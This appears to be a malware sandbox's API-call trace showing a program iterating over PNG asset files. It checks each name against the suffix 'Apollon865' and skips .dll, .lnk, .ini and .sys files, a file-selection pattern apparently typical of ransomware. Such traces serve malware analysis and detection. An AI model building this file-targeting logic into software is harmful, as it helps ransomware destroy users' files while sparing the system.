	[0052.167] lstrlenW (lpString="Apollon865") returned 10
	[0052.167] lstrcmpiW (lpString1="er_dot.png", lpString2="Apollon865") returned 1
	[0052.167] lstrlenW (lpString=".dll") returned 4
	[0052.167] lstrcmpiW (lpString1="diner_dot.png", lpString2=".dll") returned 1
	[0052.167] lstrlenW (lpString=".lnk") returned 4
	[0052.167] lstrcmpiW (lpString1="diner_dot.png", lpString2=".lnk") returned 1
	[0052.167] lstrlenW (lpString=".ini") returned 4
	[0052.167] lstrcmpiW (lpString1="diner_dot.png", lpString2=".ini") returned 1
	[0052.167] lstrlenW (lpString=".sys") returned 4
	[0052.167] lstrcmpiW (lpString1="diner_dot.png", lpString2=".sys") returned 1
	[0052.167] lstrlenW (lpString="diner_dot.png") returned 13
	[0052.167] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="diner_h.png" | out: lpString1="diner_h.png") returned="diner_h.png"
	[0052.167] lstrlenW (lpString="diner_h.png") returned 11
	[0052.167] lstrlenW (lpString="Apollon865") returned 10
	[0052.167] lstrcmpiW (lpString1="iner_h.png", lpString2="Apollon865") returned 1
	[0052.167] lstrlenW (lpString=".dll") returned 4
	[0052.167] lstrcmpiW (lpString1="diner_h.png", lpString2=".dll") returned 1
	[0052.167] lstrlenW (lpString=".lnk") returned 4
	[0052.167] lstrcmpiW (lpString1="diner_h.png", lpString2=".lnk") returned 1
	[0052.167] lstrlenW (lpString=".ini") returned 4
	[0052.167] lstrcmpiW (lpString1="diner_h.png", lpString2=".ini") returned 1
	[0052.167] lstrlenW (lpString=".sys") returned 4
	[0052.167] lstrcmpiW (lpString1="diner_h.png", lpString2=".sys") returned 1
	[0052.167] lstrlenW (lpString="diner_h.png") returned 11
	[0052.168] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="diner_m.png" | out: lpString1="diner_m.png") returned="diner_m.png"
	[0052.168] lstrlenW (lpString="diner_m.png") returned 11
	[0052.168] lstrlenW (lpString="Apollon865") returned 10
	[0052.168] lstrcmpiW (lpString1="iner_m.png", lpString2="Apollon865") returned 1
	[0052.168] lstrlenW (lpString=".dll") returned 4
	[0052.168] lstrcmpiW (lpString1="diner_m.png", lpString2=".dll") returned 1
	[0052.168] lstrlenW (lpString=".lnk") returned 4
	[0052.168] lstrcmpiW (lpString1="diner_m.png", lpString2=".lnk") returned 1
	[0052.168] lstrlenW (lpString=".ini") returned 4
	[0052.168] lstrcmpiW (lpString1="diner_m.png", lpString2=".ini") returned 1
	[0052.168] lstrlenW (lpString=".sys") returned 4
	[0052.168] lstrcmpiW (lpString1="diner_m.png", lpString2=".sys") returned 1
	[0052.168] lstrlenW (lpString="diner_m.png") returned 11
	[0052.168] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="diner_s.png" | out: lpString1="diner_s.png") returned="diner_s.png"
	[0052.168] lstrlenW (lpString="diner_s.png") returned 11
	[0052.168] lstrlenW (lpString="Apollon865") returned 10
	[0052.168] lstrcmpiW (lpString1="iner_s.png", lpString2="Apollon865") returned 1
	[0052.168] lstrlenW (lpString=".dll") returned 4
	[0052.168] lstrcmpiW (lpString1="diner_s.png", lpString2=".dll") returned 1
	[0052.168] lstrlenW (lpString=".lnk") returned 4
	[0052.168] lstrcmpiW (lpString1="diner_s.png", lpString2=".lnk") returned 1
	[0052.168] lstrlenW (lpString=".ini") returned 4
	[0052.168] lstrcmpiW (lpString1="diner_s.png", lpString2=".ini") returned 1
	[0052.168] lstrlenW (lpString=".sys") returned 4
	[0052.168] lstrcmpiW (lpString1="diner_s.png", lpString2=".sys") returned 1
	[0052.168] lstrlenW (lpString="diner_s.png") returned 11
	[0052.168] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="diner_settings.png" | out: lpString1="diner_settings.png") returned="diner_settings.png"
	[0052.168] lstrlenW (lpString="diner_settings.png") returned 18
	[0052.168] lstrlenW (lpString="Apollon865") returned 10
	[0052.168] lstrcmpiW (lpString1="ttings.png", lpString2="Apollon865") returned 1
	[0052.168] lstrlenW (lpString=".dll") returned 4
	[0052.169] lstrcmpiW (lpString1="diner_settings.png", lpString2=".dll") returned 1
	[0052.169] lstrlenW (lpString=".lnk") returned 4
	[0052.169] lstrcmpiW (lpString1="diner_settings.png", lpString2=".lnk") returned 1
	[0052.169] lstrlenW (lpString=".ini") returned 4
	[0052.169] lstrcmpiW (lpString1="diner_settings.png", lpString2=".ini") returned 1
	[0052.169] lstrlenW (lpString=".sys") returned 4
	[0052.169] lstrcmpiW (lpString1="diner_settings.png", lpString2=".sys") returned 1
	[0052.169] lstrlenW (lpString="diner_settings.png") returned 18
	[0052.169] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="flower.png" | out: lpString1="flower.png") returned="flower.png"
	[0052.169] lstrlenW (lpString="flower.png") returned 10
	[0052.169] lstrlenW (lpString="Apollon865") returned 10
	[0052.169] lstrlenW (lpString=".dll") returned 4
	[0052.169] lstrcmpiW (lpString1="flower.png", lpString2=".dll") returned 1
	[0052.169] lstrlenW (lpString=".lnk") returned 4
	[0052.169] lstrcmpiW (lpString1="flower.png", lpString2=".lnk") returned 1
	[0052.169] lstrlenW (lpString=".ini") returned 4
	[0052.169] lstrcmpiW (lpString1="flower.png", lpString2=".ini") returned 1
	[0052.169] lstrlenW (lpString=".sys") returned 4
	[0052.169] lstrcmpiW (lpString1="flower.png", lpString2=".sys") returned 1
	[0052.169] lstrlenW (lpString="flower.png") returned 10
	[0052.169] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="flower_dot.png" | out: lpString1="flower_dot.png") returned="flower_dot.png"
	[0052.169] lstrlenW (lpString="flower_dot.png") returned 14
	[0052.169] lstrlenW (lpString="Apollon865") returned 10
	[0052.169] lstrcmpiW (lpString1="er_dot.png", lpString2="Apollon865") returned 1
	[0052.169] lstrlenW (lpString=".dll") returned 4
	[0052.169] lstrcmpiW (lpString1="flower_dot.png", lpString2=".dll") returned 1
	[0052.169] lstrlenW (lpString=".lnk") returned 4
	[0052.169] lstrcmpiW (lpString1="flower_dot.png", lpString2=".lnk") returned 1
	[0052.169] lstrlenW (lpString=".ini") returned 4
	[0052.169] lstrcmpiW (lpString1="flower_dot.png", lpString2=".ini") returned 1
	[0052.169] lstrlenW (lpString=".sys") returned 4
	[0052.170] lstrcmpiW (lpString1="flower_dot.png", lpString2=".sys") returned 1
	[0052.170] lstrlenW (lpString="flower_dot.png") returned 14
	[0052.170] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="flower_h.png" | out: lpString1="flower_h.png") returned="flower_h.png"
	[0052.170] lstrlenW (lpString="flower_h.png") returned 12
	[0052.170] lstrlenW (lpString="Apollon865") returned 10
	[0052.170] lstrcmpiW (lpString1="ower_h.png", lpString2="Apollon865") returned 1
	[0052.170] lstrlenW (lpString=".dll") returned 4
	[0052.170] lstrcmpiW (lpString1="flower_h.png", lpString2=".dll") returned 1
	[0052.170] lstrlenW (lpString=".lnk") returned 4
	[0052.170] lstrcmpiW (lpString1="flower_h.png", lpString2=".lnk") returned 1
	[0052.170] lstrlenW (lpString=".ini") returned 4
	[0052.170] lstrcmpiW (lpString1="flower_h.png", lpString2=".ini") returned 1
	[0052.170] lstrlenW (lpString=".sys") returned 4
	[0052.170] lstrcmpiW (lpString1="flower_h.png", lpString2=".sys") returned 1
	[0052.170] lstrlenW (lpString="flower_h.png") returned 12
	[0052.170] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="flower_m.png" | out: lpString1="flower_m.png") returned="flower_m.png"
	[0052.170] lstrlenW (lpString="flower_m.png") returned 12
	[0052.170] lstrlenW (lpString="Apollon865") returned 10
	[0052.170] lstrcmpiW (lpString1="ower_m.png", lpString2="Apollon865") returned 1
	[0052.170] lstrlenW (lpString=".dll") returned 4
	[0052.170] lstrcmpiW (lpString1="flower_m.png", lpString2=".dll") returned 1
	[0052.170] lstrlenW (lpString=".lnk") returned 4
	[0052.170] lstrcmpiW (lpString1="flower_m.png", lpString2=".lnk") returned 1
	[0052.170] lstrlenW (lpString=".ini") returned 4
	[0052.170] lstrcmpiW (lpString1="flower_m.png", lpString2=".ini") returned 1
	[0052.170] lstrlenW (lpString=".sys") returned 4
	[0052.170] lstrcmpiW (lpString1="flower_m.png", lpString2=".sys") returned 1
	[0052.170] lstrlenW (lpString="flower_m.png") returned 12
	[0052.170] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="flower_s.png" | out: lpString1="flower_s.png") returned="flower_s.png"
	[0052.170] lstrlenW (lpString="flower_s.png") returned 12
	[0052.171] lstrlenW (lpString="Apollon865") returned 10
	[0052.171] lstrcmpiW (lpString1="ower_s.png", lpString2="Apollon865") returned 1
	[0052.171] lstrlenW (lpString=".dll") returned 4
	[0052.171] lstrcmpiW (lpString1="flower_s.png", lpString2=".dll") returned 1
	[0052.171] lstrlenW (lpString=".lnk") returned 4
	[0052.171] lstrcmpiW (lpString1="flower_s.png", lpString2=".lnk") returned 1
	[0052.171] lstrlenW (lpString=".ini") returned 4
	[0052.171] lstrcmpiW (lpString1="flower_s.png", lpString2=".ini") returned 1
	[0052.171] lstrlenW (lpString=".sys") returned 4
	[0052.171] lstrcmpiW (lpString1="flower_s.png", lpString2=".sys") returned 1
	[0052.171] lstrlenW (lpString="flower_s.png") returned 12
	[0052.171] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="flower_settings.png" | out: lpString1="flower_settings.png") returned="flower_settings.png"
	[0052.171] lstrlenW (lpString="flower_settings.png") returned 19
	[0052.171] lstrlenW (lpString="Apollon865") returned 10
	[0052.171] lstrcmpiW (lpString1="ttings.png", lpString2="Apollon865") returned 1
	[0052.171] lstrlenW (lpString=".dll") returned 4
	[0052.171] lstrcmpiW (lpString1="flower_settings.png", lpString2=".dll") returned 1
	[0052.171] lstrlenW (lpString=".lnk") returned 4
	[0052.171] lstrcmpiW (lpString1="flower_settings.png", lpString2=".lnk") returned 1
	[0052.171] lstrlenW (lpString=".ini") returned 4
	[0052.171] lstrcmpiW (lpString1="flower_settings.png", lpString2=".ini") returned 1
	[0052.171] lstrlenW (lpString=".sys") returned 4
	[0052.171] lstrcmpiW (lpString1="flower_settings.png", lpString2=".sys") returned 1
	[0052.171] lstrlenW (lpString="flower_settings.png") returned 19
	[0052.171] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="modern.png" | out: lpString1="modern.png") returned="modern.png"
	[0052.171] lstrlenW (lpString="modern.png") returned 10
	[0052.171] lstrlenW (lpString="Apollon865") returned 10
	[0052.171] lstrlenW (lpString=".dll") returned 4
	[0052.171] lstrcmpiW (lpString1="modern.png", lpString2=".dll") returned 1
	[0052.171] lstrlenW (lpString=".lnk") returned 4
	[0052.171] lstrcmpiW (lpString1="modern.png", lpString2=".lnk") returned 1
	[0052.171] lstrlenW (lpString=".ini") returned 4
	[0052.172] lstrcmpiW (lpString1="modern.png", lpString2=".ini") returned 1
	[0052.172] lstrlenW (lpString=".sys") returned 4
	[0052.172] lstrcmpiW (lpString1="modern.png", lpString2=".sys") returned 1
	[0052.172] lstrlenW (lpString="modern.png") returned 10
	[0052.172] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="modern_dot.png" | out: lpString1="modern_dot.png") returned="modern_dot.png"
	[0052.172] lstrlenW (lpString="modern_dot.png") returned 14
	[0052.172] lstrlenW (lpString="Apollon865") returned 10
	[0052.172] lstrcmpiW (lpString1="rn_dot.png", lpString2="Apollon865") returned 1
	[0052.172] lstrlenW (lpString=".dll") returned 4
	[0052.172] lstrcmpiW (lpString1="modern_dot.png", lpString2=".dll") returned 1
	[0052.172] lstrlenW (lpString=".lnk") returned 4
	[0052.172] lstrcmpiW (lpString1="modern_dot.png", lpString2=".lnk") returned 1
	[0052.172] lstrlenW (lpString=".ini") returned 4
	[0052.172] lstrcmpiW (lpString1="modern_dot.png", lpString2=".ini") returned 1
	[0052.172] lstrlenW (lpString=".sys") returned 4
	[0052.172] lstrcmpiW (lpString1="modern_dot.png", lpString2=".sys") returned 1
	[0052.172] lstrlenW (lpString="modern_dot.png") returned 14
	[0052.172] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="modern_h.png" | out: lpString1="modern_h.png") returned="modern_h.png"
	[0052.172] lstrlenW (lpString="modern_h.png") returned 12
	[0052.172] lstrlenW (lpString="Apollon865") returned 10
	[0052.172] lstrcmpiW (lpString1="dern_h.png", lpString2="Apollon865") returned 1
	[0052.172] lstrlenW (lpString=".dll") returned 4
	[0052.172] lstrcmpiW (lpString1="modern_h.png", lpString2=".dll") returned 1
	[0052.172] lstrlenW (lpString=".lnk") returned 4
	[0052.172] lstrcmpiW (lpString1="modern_h.png", lpString2=".lnk") returned 1
	[0052.172] lstrlenW (lpString=".ini") returned 4
	[0052.172] lstrcmpiW (lpString1="modern_h.png", lpString2=".ini") returned 1
	[0052.172] lstrlenW (lpString=".sys") returned 4
	[0052.172] lstrcmpiW (lpString1="modern_h.png", lpString2=".sys") returned 1
	[0052.172] lstrlenW (lpString="modern_h.png") returned 12
	[0052.172] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="modern_m.png" | out: lpString1="modern_m.png") returned="modern_m.png"
	[0052.173] lstrlenW (lpString="modern_m.png") returned 12
	[0052.173] lstrlenW (lpString="Apollon865") returned 10
	[0052.173] lstrcmpiW (lpString1="dern_m.png", lpString2="Apollon865") returned 1
	[0052.173] lstrlenW (lpString=".dll") returned 4
	[0052.173] lstrcmpiW (lpString1="modern_m.png", lpString2=".dll") returned 1
	[0052.173] lstrlenW (lpString=".lnk") returned 4
	[0052.173] lstrcmpiW (lpString1="modern_m.png", lpString2=".lnk") returned 1
	[0052.173] lstrlenW (lpString=".ini") returned 4
	[0052.173] lstrcmpiW (lpString1="modern_m.png", lpString2=".ini") returned 1
	[0052.173] lstrlenW (lpString=".sys") returned 4
	[0052.173] lstrcmpiW (lpString1="modern_m.png", lpString2=".sys") returned 1
	[0052.173] lstrlenW (lpString="modern_m.png") returned 12
	[0052.173] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="modern_s.png" | out: lpString1="modern_s.png") returned="modern_s.png"
	[0052.173] lstrlenW (lpString="modern_s.png") returned 12
	[0052.173] lstrlenW (lpString="Apollon865") returned 10
	[0052.173] lstrcmpiW (lpString1="dern_s.png", lpString2="Apollon865") returned 1
	[0052.173] lstrlenW (lpString=".dll") returned 4
	[0052.173] lstrcmpiW (lpString1="modern_s.png", lpString2=".dll") returned 1
	[0052.173] lstrlenW (lpString=".lnk") returned 4
	[0052.173] lstrcmpiW (lpString1="modern_s.png", lpString2=".lnk") returned 1
	[0052.173] lstrlenW (lpString=".ini") returned 4
	[0052.173] lstrcmpiW (lpString1="modern_s.png", lpString2=".ini") returned 1
	[0052.173] lstrlenW (lpString=".sys") returned 4
	[0052.173] lstrcmpiW (lpString1="modern_s.png", lpString2=".sys") returned 1
	[0052.173] lstrlenW (lpString="modern_s.png") returned 12
	[0052.173] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="modern_settings.png" | out: lpString1="modern_settings.png") returned="modern_settings.png"
	[0052.173] lstrlenW (lpString="modern_settings.png") returned 19
	[0052.173] lstrlenW (lpString="Apollon865") returned 10
	[0052.173] lstrcmpiW (lpString1="ttings.png", lpString2="Apollon865") returned 1
	[0052.173] lstrlenW (lpString=".dll") returned 4
	[0052.173] lstrcmpiW (lpString1="modern_settings.png", lpString2=".dll") returned 1
	[0052.174] lstrlenW (lpString=".lnk") returned 4
	[0052.174] lstrcmpiW (lpString1="modern_settings.png", lpString2=".lnk") returned 1
	[0052.174] lstrlenW (lpString=".ini") returned 4
	[0052.174] lstrcmpiW (lpString1="modern_settings.png", lpString2=".ini") returned 1
	[0052.174] lstrlenW (lpString=".sys") returned 4
	[0052.174] lstrcmpiW (lpString1="modern_settings.png", lpString2=".sys") returned 1
	[0052.174] lstrlenW (lpString="modern_settings.png") returned 19
	[0052.174] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="novelty.png" | out: lpString1="novelty.png") returned="novelty.png"
	[0052.174] lstrlenW (lpString="novelty.png") returned 11
	[0052.174] lstrlenW (lpString="Apollon865") returned 10
	[0052.174] lstrcmpiW (lpString1="ovelty.png", lpString2="Apollon865") returned 1
	[0052.174] lstrlenW (lpString=".dll") returned 4
	[0052.174] lstrcmpiW (lpString1="novelty.png", lpString2=".dll") returned 1
	[0052.174] lstrlenW (lpString=".lnk") returned 4
	[0052.174] lstrcmpiW (lpString1="novelty.png", lpString2=".lnk") returned 1
	[0052.174] lstrlenW (lpString=".ini") returned 4
	[0052.174] lstrcmpiW (lpString1="novelty.png", lpString2=".ini") returned 1
	[0052.174] lstrlenW (lpString=".sys") returned 4
	[0052.174] lstrcmpiW (lpString1="novelty.png", lpString2=".sys") returned 1
	[0052.174] lstrlenW (lpString="novelty.png") returned 11
	[0052.174] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="novelty_dot.png" | out: lpString1="novelty_dot.png") returned="novelty_dot.png"
	[0052.174] lstrlenW (lpString="novelty_dot.png") returned 15
	[0052.174] lstrlenW (lpString="Apollon865") returned 10
	[0052.174] lstrcmpiW (lpString1="ty_dot.png", lpString2="Apollon865") returned 1
	[0052.174] lstrlenW (lpString=".dll") returned 4
	[0052.174] lstrcmpiW (lpString1="novelty_dot.png", lpString2=".dll") returned 1
	[0052.174] lstrlenW (lpString=".lnk") returned 4
	[0052.174] lstrcmpiW (lpString1="novelty_dot.png", lpString2=".lnk") returned 1
	[0052.174] lstrlenW (lpString=".ini") returned 4
	[0052.174] lstrcmpiW (lpString1="novelty_dot.png", lpString2=".ini") returned 1
	[0052.174] lstrlenW (lpString=".sys") returned 4
	[0052.174] lstrcmpiW (lpString1="novelty_dot.png", lpString2=".sys") returned 1
	[0052.175] lstrlenW (lpString="novelty_dot.png") returned 15
	[0052.175] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="novelty_h.png" | out: lpString1="novelty_h.png") returned="novelty_h.png"
	[0052.175] lstrlenW (lpString="novelty_h.png") returned 13
	[0052.175] lstrlenW (lpString="Apollon865") returned 10
	[0052.175] lstrcmpiW (lpString1="elty_h.png", lpString2="Apollon865") returned 1
	[0052.175] lstrlenW (lpString=".dll") returned 4
	[0052.175] lstrcmpiW (lpString1="novelty_h.png", lpString2=".dll") returned 1
	[0052.175] lstrlenW (lpString=".lnk") returned 4
	[0052.175] lstrcmpiW (lpString1="novelty_h.png", lpString2=".lnk") returned 1
	[0052.175] lstrlenW (lpString=".ini") returned 4
	[0052.175] lstrcmpiW (lpString1="novelty_h.png", lpString2=".ini") returned 1
	[0052.175] lstrlenW (lpString=".sys") returned 4
	[0052.175] lstrcmpiW (lpString1="novelty_h.png", lpString2=".sys") returned 1
	[0052.175] lstrlenW (lpString="novelty_h.png") returned 13
	[0052.175] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="novelty_m.png" | out: lpString1="novelty_m.png") returned="novelty_m.png"
	[0052.175] lstrlenW (lpString="novelty_m.png") returned 13
	[0052.175] lstrlenW (lpString="Apollon865") returned 10
	[0052.175] lstrcmpiW (lpString1="elty_m.png", lpString2="Apollon865") returned 1
	[0052.175] lstrlenW (lpString=".dll") returned 4
	[0052.175] lstrcmpiW (lpString1="novelty_m.png", lpString2=".dll") returned 1
	[0052.175] lstrlenW (lpString=".lnk") returned 4
	[0052.175] lstrcmpiW (lpString1="novelty_m.png", lpString2=".lnk") returned 1
	[0052.175] lstrlenW (lpString=".ini") returned 4
	[0052.175] lstrcmpiW (lpString1="novelty_m.png", lpString2=".ini") returned 1
	[0052.175] lstrlenW (lpString=".sys") returned 4
	[0052.175] lstrcmpiW (lpString1="novelty_m.png", lpString2=".sys") returned 1
	[0052.175] lstrlenW (lpString="novelty_m.png") returned 13
	[0052.175] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="novelty_s.png" | out: lpString1="novelty_s.png") returned="novelty_s.png"
	[0052.175] lstrlenW (lpString="novelty_s.png") returned 13
	[0052.175] lstrlenW (lpString="Apollon865") returned 10
	[0052.175] lstrcmpiW (lpString1="elty_s.png", lpString2="Apollon865") returned 1
	[0052.176] lstrlenW (lpString=".dll") returned 4
	[0052.176] lstrcmpiW (lpString1="novelty_s.png", lpString2=".dll") returned 1
	[0052.176] lstrlenW (lpString=".lnk") returned 4
	[0052.176] lstrcmpiW (lpString1="novelty_s.png", lpString2=".lnk") returned 1
	[0052.176] lstrlenW (lpString=".ini") returned 4
	[0052.176] lstrcmpiW (lpString1="novelty_s.png", lpString2=".ini") returned 1
	[0052.176] lstrlenW (lpString=".sys") returned 4
	[0052.176] lstrcmpiW (lpString1="novelty_s.png", lpString2=".sys") returned 1
	[0052.176] lstrlenW (lpString="novelty_s.png") returned 13
	[0052.176] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="novelty_settings.png" | out: lpString1="novelty_settings.png") returned="novelty_settings.png"
	[0052.176] lstrlenW (lpString="novelty_settings.png") returned 20
	[0052.176] lstrlenW (lpString="Apollon865") returned 10
	[0052.176] lstrcmpiW (lpString1="ttings.png", lpString2="Apollon865") returned 1
	[0052.176] lstrlenW (lpString=".dll") returned 4
	[0052.176] lstrcmpiW (lpString1="novelty_settings.png", lpString2=".dll") returned 1
	[0052.176] lstrlenW (lpString=".lnk") returned 4
	[0052.176] lstrcmpiW (lpString1="novelty_settings.png", lpString2=".lnk") returned 1
	[0052.176] lstrlenW (lpString=".ini") returned 4
	[0052.176] lstrcmpiW (lpString1="novelty_settings.png", lpString2=".ini") returned 1
	[0052.176] lstrlenW (lpString=".sys") returned 4
	[0052.176] lstrcmpiW (lpString1="novelty_settings.png", lpString2=".sys") returned 1
	[0052.176] lstrlenW (lpString="novelty_settings.png") returned 20
	[0052.177] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="settings_box_bottom.png" | out: lpString1="settings_box_bottom.png") returned="settings_box_bottom.png"
	[0052.177] lstrlenW (lpString="settings_box_bottom.png") returned 23
	[0052.177] lstrlenW (lpString="Apollon865") returned 10
	[0052.177] lstrcmpiW (lpString1="bottom.png", lpString2="Apollon865") returned 1
	[0052.177] lstrlenW (lpString=".dll") returned 4
	[0052.177] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2=".dll") returned 1
	[0052.178] lstrlenW (lpString=".lnk") returned 4
	[0052.178] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2=".lnk") returned 1
	[0052.178] lstrlenW (lpString=".ini") returned 4
	[0052.178] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2=".ini") returned 1
	[0052.178] lstrlenW (lpString=".sys") returned 4
	[0052.178] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2=".sys") returned 1
	[0052.178] lstrlenW (lpString="settings_box_bottom.png") returned 23
	[0052.178] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="settings_box_divider_left.png" | out: lpString1="settings_box_divider_left.png") returned="settings_box_divider_left.png"
	[0052.178] lstrlenW (lpString="settings_box_divider_left.png") returned 29
	[0052.178] lstrlenW (lpString="Apollon865") returned 10
	[0052.178] lstrcmpiW (lpString1="r_left.png", lpString2="Apollon865") returned 1
	[0052.178] lstrlenW (lpString=".dll") returned 4
	[0052.178] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2=".dll") returned 1
	[0052.178] lstrlenW (lpString=".lnk") returned 4
	[0052.178] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2=".lnk") returned 1
	[0052.178] lstrlenW (lpString=".ini") returned 4
	[0052.178] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2=".ini") returned 1
	[0052.178] lstrlenW (lpString=".sys") returned 4
	[0052.178] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2=".sys") returned 1
	[0052.178] lstrlenW (lpString="settings_box_divider_left.png") returned 29
	[0052.178] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="settings_box_divider_right.png" | out: lpString1="settings_box_divider_right.png") returned="settings_box_divider_right.png"
	[0052.178] lstrlenW (lpString="settings_box_divider_right.png") returned 30
	[0052.178] lstrlenW (lpString="Apollon865") returned 10
	[0052.178] lstrcmpiW (lpString1="_right.png", lpString2="Apollon865") returned -1
	[0052.178] lstrlenW (lpString=".dll") returned 4
	[0052.178] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2=".dll") returned 1
	[0052.178] lstrlenW (lpString=".lnk") returned 4
	[0052.178] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2=".lnk") returned 1
	[0052.178] lstrlenW (lpString=".ini") returned 4
	[0052.178] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2=".ini") returned 1
	[0052.178] lstrlenW (lpString=".sys") returned 4
	[0052.178] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2=".sys") returned 1
	[0052.179] lstrlenW (lpString="settings_box_divider_right.png") returned 30
	[0052.179] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="settings_box_left.png" | out: lpString1="settings_box_left.png") returned="settings_box_left.png"
	[0052.179] lstrlenW (lpString="settings_box_left.png") returned 21
	[0052.179] lstrlenW (lpString="Apollon865") returned 10
	[0052.179] lstrcmpiW (lpString1="x_left.png", lpString2="Apollon865") returned 1
	[0052.179] lstrlenW (lpString=".dll") returned 4
	[0052.179] lstrcmpiW (lpString1="settings_box_left.png", lpString2=".dll") returned 1
	[0052.179] lstrlenW (lpString=".lnk") returned 4
	[0052.179] lstrcmpiW (lpString1="settings_box_left.png", lpString2=".lnk") returned 1
	[0052.179] lstrlenW (lpString=".ini") returned 4
	[0052.179] lstrcmpiW (lpString1="settings_box_left.png", lpString2=".ini") returned 1
	[0052.179] lstrlenW (lpString=".sys") returned 4
	[0052.179] lstrcmpiW (lpString1="settings_box_left.png", lpString2=".sys") returned 1
	[0052.179] lstrlenW (lpString="settings_box_left.png") returned 21
	[0052.179] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="settings_box_right.png" | out: lpString1="settings_box_right.png") returned="settings_box_right.png"
	[0052.179] lstrlenW (lpString="settings_box_right.png") returned 22
	[0052.179] lstrlenW (lpString="Apollon865") returned 10
	[0052.179] lstrcmpiW (lpString1="_right.png", lpString2="Apollon865") returned -1
	[0052.179] lstrlenW (lpString=".dll") returned 4
	[0052.179] lstrcmpiW (lpString1="settings_box_right.png", lpString2=".dll") returned 1
	[0052.179] lstrlenW (lpString=".lnk") returned 4
	[0052.179] lstrcmpiW (lpString1="settings_box_right.png", lpString2=".lnk") returned 1
	[0052.179] lstrlenW (lpString=".ini") returned 4
	[0052.179] lstrcmpiW (lpString1="settings_box_right.png", lpString2=".ini") returned 1
	[0052.179] lstrlenW (lpString=".sys") returned 4
	[0052.179] lstrcmpiW (lpString1="settings_box_right.png", lpString2=".sys") returned 1
	[0052.179] lstrlenW (lpString="settings_box_right.png") returned 22
	[0052.179] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="settings_box_top.png" | out: lpString1="settings_box_top.png") returned="settings_box_top.png"
	[0052.179] lstrlenW (lpString="settings_box_top.png") returned 20
	[0052.179] lstrlenW (lpString="Apollon865") returned 10
	[0052.179] lstrcmpiW (lpString1="ox_top.png", lpString2="Apollon865") returned 1
	[0052.180] lstrlenW (lpString=".dll") returned 4
	[0052.180] lstrcmpiW (lpString1="settings_box_top.png", lpString2=".dll") returned 1
	[0052.180] lstrlenW (lpString=".lnk") returned 4
	[0052.180] lstrcmpiW (lpString1="settings_box_top.png", lpString2=".lnk") returned 1
	[0052.180] lstrlenW (lpString=".ini") returned 4
	[0052.180] lstrcmpiW (lpString1="settings_box_top.png", lpString2=".ini") returned 1
	[0052.180] lstrlenW (lpString=".sys") returned 4
	[0052.180] lstrcmpiW (lpString1="settings_box_top.png", lpString2=".sys") returned 1
	[0052.180] lstrlenW (lpString="settings_box_top.png") returned 20
	[0052.180] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="settings_corner_bottom_left.png" | out: lpString1="settings_corner_bottom_left.png") returned="settings_corner_bottom_left.png"
	[0052.180] lstrlenW (lpString="settings_corner_bottom_left.png") returned 31
	[0052.180] lstrlenW (lpString="Apollon865") returned 10
	[0052.180] lstrcmpiW (lpString1="m_left.png", lpString2="Apollon865") returned 1
	[0052.180] lstrlenW (lpString=".dll") returned 4
	[0052.180] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2=".dll") returned 1
	[0052.180] lstrlenW (lpString=".lnk") returned 4
	[0052.180] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2=".lnk") returned 1
	[0052.180] lstrlenW (lpString=".ini") returned 4
	[0052.180] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2=".ini") returned 1
	[0052.180] lstrlenW (lpString=".sys") returned 4
	[0052.180] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2=".sys") returned 1
	[0052.180] lstrlenW (lpString="settings_corner_bottom_left.png") returned 31
	[0052.180] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="settings_corner_bottom_right.png" | out: lpString1="settings_corner_bottom_right.png") returned="settings_corner_bottom_right.png"
	[0052.180] lstrlenW (lpString="settings_corner_bottom_right.png") returned 32
	[0052.180] lstrlenW (lpString="Apollon865") returned 10
	[0052.180] lstrcmpiW (lpString1="_right.png", lpString2="Apollon865") returned -1
	[0052.180] lstrlenW (lpString=".dll") returned 4
	[0052.180] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2=".dll") returned 1
	[0052.180] lstrlenW (lpString=".lnk") returned 4
	[0052.180] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2=".lnk") returned 1
	[0052.180] lstrlenW (lpString=".ini") returned 4
	[0052.180] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2=".ini") returned 1
	[0052.181] lstrlenW (lpString=".sys") returned 4
